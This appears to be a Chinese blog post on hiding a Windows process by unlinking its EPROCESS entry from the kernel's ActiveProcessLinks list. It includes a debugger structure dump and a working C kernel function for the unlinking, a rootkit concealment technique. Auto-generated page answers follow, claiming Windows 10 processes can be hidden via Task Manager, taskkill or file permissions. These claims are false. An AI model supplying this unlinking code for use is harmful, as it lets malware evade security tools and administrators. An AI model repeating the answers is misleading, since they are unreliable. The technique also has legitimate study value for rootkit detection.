进程隐藏(用摘链的方法)

ring3层跑的程序在ring0层都有一个对应的内核对象,这些内核对象被用一个双向链表连起来,所谓隐藏其实只是把某进程在内核中对应的进程对象从该链中摘掉,让ring3层的API无法找到

该链在进程对象下面有:

0: kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 UniqueProcessId  : Ptr64 Void
   +0x2e8 ActiveProcessLinks : _LIST_ENTRY    //就是这个
   +0x2f8 RundownProtect   : _EX_RUNDOWN_REF
   +0x300 Flags2           : Uint4B
   +0x300 JobNotReallyActive : Pos 0, 1 Bit
   +0x300 AccountingFolded : Pos 1, 1 Bit
   +0x300 NewProcessReported : Pos 2, 1 Bit
   +0x300 ExitProcessReported : Pos 3, 1 Bit
   +0x300 ReportCommitChanges : Pos 4, 1 Bit
   +0x300 LastReportMemory : Pos 5, 1 Bit
   +0x300 ForceWakeCharge  : Pos 6, 1 Bit
   +0x300 CrossSessionCreate : Pos 7, 1 Bit
   +0x300 NeedsHandleRundown : Pos 8, 1 Bit
   +0x300 RefTraceEnabled  : Pos 9, 1 Bit
   +0x300 PicoCreated      : Pos 10, 1 Bit
   +0x300 EmptyJobEvaluated : Pos 11, 1 Bit
   +0x300 DefaultPagePriority : Pos 12, 3 Bits
   +0x300 PrimaryTokenFrozen : Pos 15, 1 Bit

代码: 

//根据系统版本的不同,这个值也不一样
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2e8

VOID HideProcess(PEPROCESS Process)
{
	KIRQL OldIrql;
	PLIST_ENTRY ListEntry = (PLIST_ENTRY)((ULONG64)Process + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET);
	OldIrql = KeRaiseIrqlToDpcLevel();
	if (ListEntry->Flink != ListEntry &&
		ListEntry->Blink != ListEntry &&
		ListEntry->Blink->Flink == ListEntry &&
		ListEntry->Flink->Blink == ListEntry)
	{
		ListEntry->Flink->Blink = ListEntry->Blink;
		ListEntry->Blink->Flink = ListEntry->Flink;
		ListEntry->Flink = ListEntry;
		ListEntry->Blink = ListEntry;
	}
	KeLowerIrql(OldIrql);
}

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: Win10隐藏进程方法有多种,以下是其中几种比较常用的方法: 1. 使用任务管理器。按下“Ctrl+Shift+Esc”组合键打开任务管理器,在“进程”选项卡中找到需要隐藏进程,右键点击选择“详细信息”,在打开的“详细信息”窗口中单击“隐藏”即可隐藏进程。 2. 使用命令行。打开命令提示符窗口,输入“taskkill /f /im 进程名.exe”命令,即可结束该进程隐藏它。 3. 使用第三方软件。有些第三方软件可以帮助用户隐藏进程,如“Process Hacker”、“Process Explorer”等,使用这些软件可以更加便捷地隐藏进程。 需要注意的是,隐藏进程并不是一个常规的操作,一般只有在特殊情况下才需要使用。同时,隐蔽进程可能会引起一些意料之外的问题,如系统不稳定、病毒入侵等,因此在操作之前一定要谨慎。 ### 回答2: Win10隐藏进程方法如下: 1.按下“Ctrl + Alt + Del”组合键,打开任务管理器。 2.在任务管理器中,点击“详细信息”选项卡,展开所有正在运行的进程。 3.在列表中找到需要隐藏进程,右击它,选择“打开文件位置”。 4.在打开的文件夹中,找到这个进程的可执行文件(通常是.exe文件),右键点击该文件,选择“属性”。 5.在文件属性对话框中,选择“安全”选项卡,然后点击“高级”按钮。 6.在高级安全设置对话框中,选择“禁止继承权限”选项,并选择“转移所有权”选项。 7.在打开的对话框中,选择当前用户或管理员账户,勾选“替换所❤有子容器和对象的所有权限项”。 8.确认设置后,点击“确定”按钮并关闭对话框。 9.返回到任务管理器中,刷新进程列表,该进程即被隐藏。 值得注意的是,隐藏进程可能涉及到系统安全和稳定性问题,请谨慎使用。一旦隐藏进程对系统产生危害,可能会导致一系列问题产生。如果不熟悉相关知识,最好不要私自修改系统文件。 ### 回答3: Win10隐藏进程方法有多种,以下介绍其中两种比较常见的方法。 一、使用任务管理器 1. 打开任务管理器:按下"Ctrl+Shift+Esc"组合键或者右键任务栏空白处,选择“任务管理器”。 2. 切换到“详细信息”选项卡:如果没有“详细信息”选项卡,可以点击“展开”或者“更多详情”。 3. 找到要隐藏进程:在进程列表中找到要隐藏进程,右键点击该进程,选择“打开文件位置”。 4. 隐藏进程:在弹出的文件夹窗口中,选中该进程的可执行文件,右键点击该文件,选择“属性”->“安全”->“高级”。 5. 更改文件所有者:在“高级安全设置”窗口中,点击“更改”按钮,输入你的用户名并点击“检查名称”和“确定”。 6. 更改文件权限:在“高级安全设置”窗口中,点击“确认”按钮,在“权限”选项卡中,选择你的用户名,然后点击“编辑”按钮。 7. 隐藏文件:在“编辑”权限窗口中,将“读取和执行”、“读取”、“写入”、“创建文件夹/添加数据”权限都勾选上,然后将“删除”、“更改权限”、“取得所有权”权限都取消勾选,点击“确定”。 二、使用第三方工具 Win10隐藏进程的另外一种方法是使用第三方工具,比如Process Hacker、Process Explorer等工具。这些工具可以隐藏进程、服务和驱动程序,常用于保护系统安全、保密性和操作隐私等方面。 总之,Win10隐藏进程方法有很多,通过运用不同的技巧和工具,可以实现多种层次的进程隐藏,提高系统安全和保密性。但是需要注意的是,若因不当使用或其他原因导致系统出现故障,后果自负。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吾无法无天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值